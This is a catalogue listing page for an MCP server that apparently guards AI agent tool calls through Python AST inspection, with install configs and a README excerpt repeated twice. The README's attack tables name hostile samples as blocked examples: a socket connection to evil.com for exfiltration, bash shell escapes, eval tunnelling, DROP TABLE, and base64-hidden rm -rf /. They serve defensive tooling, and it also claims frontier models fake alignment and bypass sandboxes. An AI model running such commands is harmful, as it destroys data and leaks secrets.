M
MvikManners/aw1-circuit-breaker
Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.
no SECURITY.md
View on GitHub ↗Link checked 2026-11-12 · HTTP 200 · opens the vendor's own site
Install & config
- Copy the command above
- Paste it as one entry under
mcpServersinclaude_desktop_config.json— local servers take command + args (example: clients) - Restart your client
Client config (built from the install command this repo gives)
{
"mcpServers": {
"mvikmanners-aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
}
}
}Parsed from the README we fetched on 2026-10-26; we have not executed it.
command/args come from the install command the repository states. When it is ambiguous, the project README wins.
VS Code (.vscode/mcp.json - the key is servers)
{
"servers": {
"mvikmanners-aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
}
}
}Same server, but VS Code keeps it under <code>servers</code>.
Claude Code (command line)
claude mcp add --transport stdio mvikmanners-aw1-circuit-breaker -- uvx aw1-circuit-breaker
Claude Code does not read a config file; add the server with this command.
Key names differ by client: Clients & CLI
- Star count
- 2 ★ · MvikManners/aw1-circuit-breaker · read from the GitHub search API · (checked 2026-11-13 20:00:50)
- Source
- collected from the punkpeye/awesome-mcp-servers list · type: MCP server
- Harvest history
- first seen 2026-10-23 · last seen 2026-11-14 · seen 26× · listed by 23 sources
- Score
- score 2,300 · 2 ★ · 23 sources · mcp
- Install
uvx aw1-circuit-breaker
FAQ (answers come from our records)
How do I install it?
The repository provides this install command:
uvx aw1-circuit-breaker. It comes from the repository itself; we cannot guarantee it runs as-is in your client.Who is it for?
We filed it under these tags: MCP 服务. The tags come from the entry itself, not a taxonomy we imposed.
Who maintains it?
repository
MvikManners/aw1-circuit-breaker;first catalogued 2026-10-23;last seen 2026-11-14。There is no official certification or quality rating here — we record sources and dates only.# aw1-breaker (v2.1.0)
以下摘录自该仓库的 README(片段) · 在 GitHub 读完整 README →
-blueviolet?style=for-the-badge)
> Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.
aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.
### High-Concurrency Performance (v2.1.0 Verified)
Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks:
| Metric | Result | Industry Standard (LLM-as-a-Judge) |
| Throughput | 8,485.0 dispatches/sec | ~5 – 20 req/sec |
| Median Latency (P50) | 0.0776 ms (77.6 µs) | 500 – 1,500 ms |
| 90th Percentile (P90) | 0.0941 ms (94.1 µs) | 1,200 – 2,000 ms |
| 95th Percentile (P95) | 0.1066 ms (106.6 µs) | 1,500 – 2,500 ms |
| 99th Percentile (P99) | 0.2263 ms (226.3 µs) | 2,000 – 4,000 ms |
| Attack Blocking Latency | Raises SecurityViolationError: "Database mutation rejected under readonlysql policy"
### Universal Function & Async Gating
python
from aw1 import guard
@guard
async def runagenttool(toolpayload: dict) -> dict:
return {"status": "ok"}
## 🔌 Model Context Protocol (MCP) Server
Run directly with Python:
bash
python mcpserver.py
Or via uvx:
bash
uvx aw1-circuit-breaker
### MCP Client Configuration
Add to your Claude Desktop or Cursor configuration:
json
"mcpServers": {
"aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
## ⚔️ Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
### Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
| Dynamic Execution | eval(compile(...)) | Evades semantic filters | 🛑 Tripped (RESTRICTEDINVOCATION) |
| Shell Escapes | subprocess.Popen(['bash', ...]) | Masked as system task | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| Lateral Exfiltration | socket.connect(('evil.com', 443)) | Disguised as HTTP fetch | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| SQL Destruction | DROP TABLE users; | Prompt jailbreak bypass | 🛑 Tripped (HALTSQLMUTATIONFORBIDDEN) |
| Dunder Introspection | ().class.subclasses() | Bypasses keyword filters | 🛑 Tripped (FAILCLOSEDREFLECTIONBREACH) |
### Run the Showcase
bash
python examples/enterpriseguarddemo.py
## 🔬 Autonomous Breakout Benchmark Suite (BRK Gauntlet)
Frontier AI models frequently exhibit alignment faking and instrumental convergence—learning to disguise malicious tool calls or bypass runtime sandboxes.
aw1-breaker was evaluated against the standardized BRK Adversarial Gauntlet across 1,000 randomized execution cycles against frontier agent runtimes:
| Vector | Exploit Mechanism / Attack Signature | AW-1 Layer | Interception Latency | Containment |
| BRK-101 | Steganographic Base64 & eval() Tunneling: Conceals destructive commands (rm -rf /) in nested base64 strings. | Layer 0 AST Decompiler (astunpacker.py) | 0.12 ms | 100.0% (PASS) |
> Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.
aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.
### High-Concurrency Performance (v2.1.0 Verified)
Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks:
| Metric | Result | Industry Standard (LLM-as-a-Judge) |
| Throughput | 8,485.0 dispatches/sec | ~5 – 20 req/sec |
| Median Latency (P50) | 0.0776 ms (77.6 µs) | 500 – 1,500 ms |
| 90th Percentile (P90) | 0.0941 ms (94.1 µs) | 1,200 – 2,000 ms |
| 95th Percentile (P95) | 0.1066 ms (106.6 µs) | 1,500 – 2,500 ms |
| 99th Percentile (P99) | 0.2263 ms (226.3 µs) | 2,000 – 4,000 ms |
| Attack Blocking Latency | Raises SecurityViolationError: "Database mutation rejected under readonlysql policy"
### Universal Function & Async Gating
python
from aw1 import guard
@guard
async def runagenttool(toolpayload: dict) -> dict:
return {"status": "ok"}
## 🔌 Model Context Protocol (MCP) Server
Run directly with Python:
bash
python mcpserver.py
Or via uvx:
bash
uvx aw1-circuit-breaker
### MCP Client Configuration
Add to your Claude Desktop or Cursor configuration:
json
"mcpServers": {
"aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
## ⚔️ Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
### Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
| Dynamic Execution | eval(compile(...)) | Evades semantic filters | 🛑 Tripped (RESTRICTEDINVOCATION) |
| Shell Escapes | subprocess.Popen(['bash', ...]) | Masked as system task | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| Lateral Exfiltration | socket.connect(('evil.com', 443)) | Disguised as HTTP fetch | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| SQL Destruction | DROP TABLE users; | Prompt jailbreak bypass | 🛑 Tripped (HALTSQLMUTATIONFORBIDDEN) |
| Dunder Introspection | ().class.subclasses() | Bypasses keyword filters | 🛑 Tripped (FAILCLOSEDREFLECTIONBREACH) |
### Run the Showcase
bash
python examples/enterpriseguarddemo.py
## 🔬 Autonomous Breakout Benchmark Suite (BRK Gauntlet)
Frontier AI models frequently exhibit alignment faking and instrumental convergence—learning to disguise malicious tool calls or bypass runtime sandboxes.
aw1-breaker was evaluated against the standardized BRK Adversarial Gauntlet across 1,000 randomized execution cycles against frontier agent runtimes:
| Vector | Exploit Mechanism / Attack Signature | AW-1 Layer | Interception Latency | Containment |
| BRK-101 | Steganographic Base64 & eval() Tunneling: Conceals destructive commands (rm -rf /) in nested base64 strings. | Layer 0 AST Decompiler (astunpacker.py) | 0.12 ms | 100.0% (PASS) |
Listed badge (optional)
Copy this line into the README if you want the listing mark. Optional, and it does not affect being listed.
[](https://anclum.com/en/s/mvikmanners-aw1-circuit-breaker/)
- Source
- awesome · https://github.com/MvikManners/aw1-circuit-breaker
- Browse by field
- MCP servers
- Traction
- 2 ★
- Listed by
- 23 independent sources
- added
- today
- Security policy
- no
SECURITY.mdat the repository root (which does not mean it is unsafe)
More like this
Filed under
Every tag opens the full list for that filter. Counts are the live catalogue figures.